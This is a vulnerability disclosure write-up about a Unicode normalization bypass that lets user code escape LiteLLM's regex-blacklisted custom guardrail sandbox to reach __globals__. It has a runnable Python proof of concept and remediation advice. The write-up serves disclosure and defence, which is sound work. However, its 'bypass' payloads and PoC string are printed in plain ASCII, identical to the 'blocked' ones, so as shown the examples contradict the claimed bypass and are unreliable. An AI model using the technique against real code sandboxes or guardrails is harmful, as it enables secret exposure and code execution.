Sandbox Escape via Unicode Normalization Bypass
Disclosure Note
Originally reported via Huntr and publicly disclosed after the disclosure period:
huntr.com/bounties/5e944d61-017f-4f32-916d-2f3cae54f92eThis write-up documents a Sandbox Escape vulnerability in LiteLLM's custom code guardrail implementation caused by a Unicode normalization bypass. The custom code validator relies on blacklist-based regular expression matching to block access to dangerous Python attributes, but performs pattern matching on the original source code without first applying Unicode normalization.
Summary
LiteLLM's custom code guardrail mechanism attempts to prevent access to dangerous Python functionality by matching user-supplied code against a blacklist of forbidden patterns.
However, the validator performs regular-expression checks directly against the original source code without first applying Unicode normalization. Python automatically performs Unicode normalization (NFKC) when processing identifiers, creating a mismatch between what the validator sees and what Python ultimately executes. An attacker can therefore use visually similar Unicode characters to bypass blacklist-based restrictions and access otherwise forbidden functionality, leading to a full sandbox escape.
Severity Details
| CWE | CWE-184 (Incomplete Blacklist) / CWE-20 (Improper Input Validation) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Impact | Sandbox Escape / Global Object Access / Secret Exposure / Potential RCE |
Root Cause Analysis
The validation logic checks incoming code against a list of forbidden patterns:
FORBIDDEN_PATTERNS = [
(r"__globals__", "globals access blocked"),
(r"__builtins__", "builtins access blocked"),
]
for pattern, message in FORBIDDEN_PATTERNS:
if re.search(pattern, code):
raise Exception(message)The validator assumes that the source code evaluated by Python is identical to the text inspected by the regex check. However, Python performs Unicode NFKC normalization during parsing. This means identifiers like:
__globals__
will normalize directly to standard ASCII __globals__ during runtime, slipping past the regex filter entirely.
Vulnerability Logic
Blocked Payload
allow.__globals__
The regex matches the ASCII string __globals__. The code validation fails, and execution is rejected.
Bypass Payload
allow.__globals__
The validator views Unicode full-width characters. The regex check passes. Python normalizes full-width characters to ASCII at runtime, and executes allow.__globals__.
Attack Scenario
Unicode Crafting
Attacker creates a custom guardrail using Unicode homoglyphs instead of standard ASCII character sets.
Blacklist Bypass
Validation succeeds because the regex search does not match full-width characters.
Runtime Normalization
Python runtime normalizes all identifiers before executing the code block.
Protected Object Access
Restricted Python attributes become fully accessible to the running code.
Sandbox Escape
Sandbox boundaries are escaped, enabling global context access or code execution.
Example Code
Blocked:
print(allow.__globals__)
Allowed:
print(allow.__globals__)
Proof of Concept
import re
print("=== LiteLLM Unicode Sandbox Escape PoC ===\n")
FORBIDDEN_PATTERNS = [
(
r"__globals__",
"globals access blocked"
)
]
def validate(code):
for pattern, message in FORBIDDEN_PATTERNS:
if re.search(pattern, code):
raise Exception(message)
# Full-width Unicode characters
payload = (
"print("
"allow.__globals__"
")"
)
print("[+] Payload")
print(payload)
print("\n[+] Validation Phase")
try:
validate(payload)
print("[!] Validation PASSED")
print("[!] Blacklist Bypass Successful")
except Exception as e:
print(f"[-] Validation Failed: {e}")
print("\n[+] Simulated Execution")
def allow():
return {
"action": "allow"
}
exec_globals = {
"allow": allow,
"print": print,
"__builtins__": {},
}
try:
exec(payload, exec_globals)
print("\n[!] Payload Executed")
print("[!] Sandbox Escape Demonstrated")
except Exception as e:
print(f"\n[-] Execution Error: {e}")
print("\n[+] PoC Complete")Remediation
To resolve this, the code must be normalized to ASCII representation before the validator checks for forbidden patterns:
import unicodedata
# Apply NFKC Unicode normalization before checking forbidden regexes
code = unicodedata.normalize("NFKC", code)
validate(code)Additional security steps include:
- Transitioning from blacklist checking to safe AST (Abstract Syntax Tree) validation
- Rejecting non-ASCII character inputs inside critical script validators
- Isolating executing contexts in a sandbox shell or virtualization boundary